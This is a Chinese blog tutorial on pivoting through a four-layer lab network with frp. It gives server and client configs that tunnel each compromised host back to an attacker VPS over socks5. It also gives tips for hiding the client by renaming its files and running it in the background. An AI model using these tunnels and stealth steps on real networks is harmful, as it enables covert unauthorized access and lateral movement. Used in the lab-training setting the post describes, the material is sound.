赞
踩
目录
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
frp 主要由 客户端(frpc) 和 服务端(frps) 组成,服务端,客户端通常部署在需要穿透的内网服务所在的机器上。
Frp 分为服务端和客户端
frp 采用 Golang 编写,支持跨平台,仅需下载对应平台的二进制文件即可执行,没有额外依赖。
网络拓扑图如下,可见有多层网络,只有同层间的网络才能互相访问
vps: 39.100.88.162 ;攻击者:真实机
并在网络编辑器中将vmnet1,2,3,4网卡禁用,这样真实机就访问不了这些网卡ip了,模拟真实的内网环境
⼀般常⻅的内⽹只有⼀层,⽐如 A 主机的⽹段是 192.168.10.x ,内⽹其他主机的⽹段也是 192.168.10.x,那么就可以直接搭建简单的一层内⽹隧道;那么如果⽬标内⽹有⼆层(192.168.20.x )、三层(192.168.30.x) 、四层(192.168.40.x ),每⼀层主机的⽹段只能和上⼀层的⽹段相互访问,那么这个时候我们应该怎样做,才能从第⼀层访问到最后⼀层,直到最深处的内⽹环境?
公网的vps为linux,下载对应的linux包
解压后将其上传至vps上
这里添加一个控制台,也可以不添加,前面加上注释符#就行
[common]
#服务端监听端口,默认7000。监听来自客户端的流量请求
bind_port = 7000
# 下面这些可以不用加
#控制台用户名
dashboard_user = admin
#控制台密码
dashboard_pwd = password
#控制台的端口
dashboard_port = 7500
chmod +777 frps
./frps -c frps.ini
frps tcp listen为7000端口,接收来自frp客户端的请求。Dashboard listen 7500为控制面板的端口
下载对应系统类型的文件。
客户端中的配置文件为frpc.ini,进行如下配置
[common]
# 如果tls_enable为true,则frpc将通过tls连接frps。否则可能运行不起来
tls_enable = true
server_addr = 39.100.88.162
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
会将客户端中所有的流量通过本地的一个随机端口转发给vps的7000端口,我们访问vps的7777端口就相当于访问客户端的7000端口
windows中
将frpc.exe和frpc.ini两个文件放到被拿下的机器中(可以将两个文件都改个名字放上去)
frpc.exe -c frpc.ini
这时候vps会显示success,则代表隧道建立成功
linux中
同样也是上传两个文件就行frpc和frpc.ini,frpc.ini同win中设置
./frpc -c ./frpc.ini
上面运行的方式太明显了,让其在后台运行
win:
start /b frpc.exe -c frpc.ini
运行后,我们按住ctrl+c取消,连接也不会断开。但是如果重启了就不会再自动进行连接,因为它不是以服务的形式进行启动
linux:
nohup ./frpc -c ./frpc.ini >/dev/null 2>&1 &
- 1
停止:
通过使? Proxifier ?具与 VPS建?socks5 隧道,端?为 7777
设置代理规则,目前要访问第一层网络10段,所以添加10
这样我们就能访问第一层网络了
假设我们拿下了win7(192.168.20.130)这台机器,由于我们只配置了一层网络,所以只能访问10这个网段,而20这个网段是访问不了的。现在win2012-1要充当frp服务端和frp客户端以便访问第二层网络
ip填写自己10这个网段的ip,端口填写7000
[common]
bind_addr = 192.168.10.2
bind_port = 7000
然后运行
frps.exe -c frps.ini
[common]
tls_enable = true
server_addr = 39.100.88.162
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
#plugin = socks5,不能加上这个
#相较于一级代理,增加如下两个配置
local_ip = 192.168.10.2
local_port = 7777
启动
frpc.exe -c frpc.ini
[common]
server_addr = 192.168.10.2
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5
在上面二层网络时,win7-1只做了frp客户端,同样的要访问第三层网络,也需要将其设置为frp服务端。win2012-1的frp不需要动
[common]
server_addr = 192.168.10.2
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
#去掉plugin选项,并增加下面两项
local_ip = 192.168.20.130
local_port = 7777
[common]
#ip都是设置为下层网络的ip
bind_addr = 192.168.20.130
bind_port = 7000
[common]
server_addr = 192.168.20.130
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5
都启动后,就可以访问第三层网络了
按照这种方法,不管是第几层网络我们都能访问到
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。